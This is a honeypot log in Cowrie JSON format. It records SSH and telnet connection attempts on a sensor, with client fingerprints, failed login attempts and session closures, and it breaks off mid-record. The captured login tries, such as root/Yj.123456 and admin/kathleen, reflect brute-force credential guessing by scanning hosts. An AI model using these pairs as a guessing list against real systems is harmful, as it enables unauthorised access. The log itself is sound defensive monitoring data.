{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:17.097555Z","src_ip":"159.203.92.129","session":"ea970a731fa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"XIAJINGSONG","password":"123","message":"login attempt [XIAJINGSONG/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:17.110163Z","src_ip":"159.203.92.129","session":"ea970a731fa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:18.118145Z","src_ip":"159.203.92.129","session":"ea970a731fa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:18.553861Z","src_ip":"173.249.6.197","session":"964fc082b6f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":51310,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef3691934c67","protocol":"telnet","message":"New connection: 161.35.55.174:51310 (10.17.0.5:23) [session: ef3691934c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:27.047833Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":52662,"dst_ip":"10.17.0.5","dst_port":23,"session":"3035317c3841","protocol":"telnet","message":"New connection: 161.35.55.174:52662 (10.17.0.5:23) [session: 3035317c3841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:31.006732Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":52674,"dst_ip":"10.17.0.5","dst_port":23,"session":"84bbe7641084","protocol":"telnet","message":"New connection: 161.35.55.174:52674 (10.17.0.5:23) [session: 84bbe7641084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:31.035425Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":53054,"dst_ip":"10.17.0.5","dst_port":23,"session":"9963fbb13d68","protocol":"telnet","message":"New connection: 161.35.55.174:53054 (10.17.0.5:23) [session: 9963fbb13d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:32.017334Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":53338,"dst_ip":"10.17.0.5","dst_port":23,"session":"c420786f3a1e","protocol":"telnet","message":"New connection: 161.35.55.174:53338 (10.17.0.5:23) [session: c420786f3a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:33.022193Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":53884,"dst_ip":"10.17.0.5","dst_port":23,"session":"938aa892bf7a","protocol":"telnet","message":"New connection: 161.35.55.174:53884 (10.17.0.5:23) [session: 938aa892bf7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:35.052349Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":4221,"dst_ip":"10.17.0.5","dst_port":22,"session":"61ee9b8ed8b4","protocol":"ssh","message":"New connection: 201.149.53.243:4221 (10.17.0.5:22) [session: 61ee9b8ed8b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:39.003355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:39.007988Z","src_ip":"201.149.53.243","session":"61ee9b8ed8b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":54818,"dst_ip":"10.17.0.5","dst_port":23,"session":"559f798e53dc","protocol":"telnet","message":"New connection: 161.35.55.174:54818 (10.17.0.5:23) [session: 559f798e53dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:39.012454Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:39.075916Z","src_ip":"201.149.53.243","session":"61ee9b8ed8b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":54890,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a555477ea2d","protocol":"telnet","message":"New connection: 161.35.55.174:54890 (10.17.0.5:23) [session: 0a555477ea2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:39.206657Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"admin123","message":"login attempt [git/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:39.374821Z","src_ip":"201.149.53.243","session":"61ee9b8ed8b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:40.445516Z","src_ip":"201.149.53.243","session":"61ee9b8ed8b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":55706,"dst_ip":"10.17.0.5","dst_port":23,"session":"84088553fdf3","protocol":"telnet","message":"New connection: 161.35.55.174:55706 (10.17.0.5:23) [session: 84088553fdf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:42.042273Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":54610,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7c3d0068644","protocol":"telnet","message":"New connection: 3.129.187.38:54610 (10.17.0.5:23) [session: a7c3d0068644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:42.112791Z"}
{"eventid":"cowrie.session.closed","duration":0.032291412353515625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:42.144991Z","src_ip":"3.129.187.38","session":"a7c3d0068644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":56458,"dst_ip":"10.17.0.5","dst_port":23,"session":"f507518edcab","protocol":"telnet","message":"New connection: 161.35.55.174:56458 (10.17.0.5:23) [session: f507518edcab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:44.104560Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.231.221.77","src_port":60016,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4ca05a8c5c3","protocol":"telnet","message":"New connection: 173.231.221.77:60016 (10.17.0.5:23) [session: c4ca05a8c5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:45.126888Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":58356,"dst_ip":"159.203.135.109","dst_port":22,"session":"aec7cc550f3c","protocol":"ssh","message":"New connection: 221.139.88.149:58356 (159.203.135.109:22) [session: aec7cc550f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:46.615902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:46.620869Z","src_ip":"221.139.88.149","session":"aec7cc550f3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:46.824264Z","src_ip":"221.139.88.149","session":"aec7cc550f3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"kathleen","message":"login attempt [admin/kathleen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:47.696876Z","src_ip":"221.139.88.149","session":"aec7cc550f3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:48.930516Z","src_ip":"221.139.88.149","session":"aec7cc550f3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.051597833633423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:58.099289Z","src_ip":"161.35.55.174","session":"ef3691934c67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.053436994552612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:02.060048Z","src_ip":"161.35.55.174","session":"3035317c3841","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.032219171524048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:02.067524Z","src_ip":"161.35.55.174","session":"84bbe7641084","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57914,"dst_ip":"159.203.135.109","dst_port":22,"session":"679daeb4b91c","protocol":"ssh","message":"New connection: 159.203.92.129:57914 (159.203.135.109:22) [session: 679daeb4b91c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:02.166600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:02.242542Z","src_ip":"159.203.92.129","session":"679daeb4b91c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:02.246885Z","src_ip":"159.203.92.129","session":"679daeb4b91c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"XIAJINGSONG","password":"123456","message":"login attempt [XIAJINGSONG/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:02.581418Z","src_ip":"159.203.92.129","session":"679daeb4b91c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.01918339729309,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:03.036399Z","src_ip":"161.35.55.174","session":"9963fbb13d68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:03.838578Z","src_ip":"159.203.92.129","session":"679daeb4b91c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.02256464958191,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:04.044661Z","src_ip":"161.35.55.174","session":"c420786f3a1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":60574,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ebb360dae03","protocol":"ssh","message":"New connection: 210.183.21.53:60574 (10.17.0.5:22) [session: 2ebb360dae03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:05.215907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:05.221299Z","src_ip":"210.183.21.53","session":"2ebb360dae03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:05.428597Z","src_ip":"210.183.21.53","session":"2ebb360dae03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.955509185791016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:06.007770Z","src_ip":"161.35.55.174","session":"938aa892bf7a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yj.123456","message":"login attempt [root/Yj.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:06.292855Z","src_ip":"210.183.21.53","session":"2ebb360dae03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:07.515972Z","src_ip":"210.183.21.53","session":"2ebb360dae03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.834954261779785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:10.041506Z","src_ip":"161.35.55.174","session":"0a555477ea2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.186627864837646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:10.199152Z","src_ip":"161.35.55.174","session":"559f798e53dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.063709020614624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:13.105890Z","src_ip":"161.35.55.174","session":"84088553fdf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.975065231323242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:15.079541Z","src_ip":"161.35.55.174","session":"f507518edcab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.66.193.100","src_port":59482,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a31b16291f5","protocol":"telnet","message":"New connection: 68.66.193.100:59482 (10.17.0.5:23) [session: 1a31b16291f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:16.056608Z"}
{"eventid":"cowrie.session.closed","duration":30.952507257461548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:16.079294Z","src_ip":"173.231.221.77","session":"c4ca05a8c5c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":59438,"dst_ip":"159.203.135.109","dst_port":22,"session":"6330c222ac76","protocol":"ssh","message":"New connection: 31.59.89.180:59438 (159.203.135.109:22) [session: 6330c222ac76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:19.729580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:19.735956Z","src_ip":"31.59.89.180","session":"6330c222ac76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@opens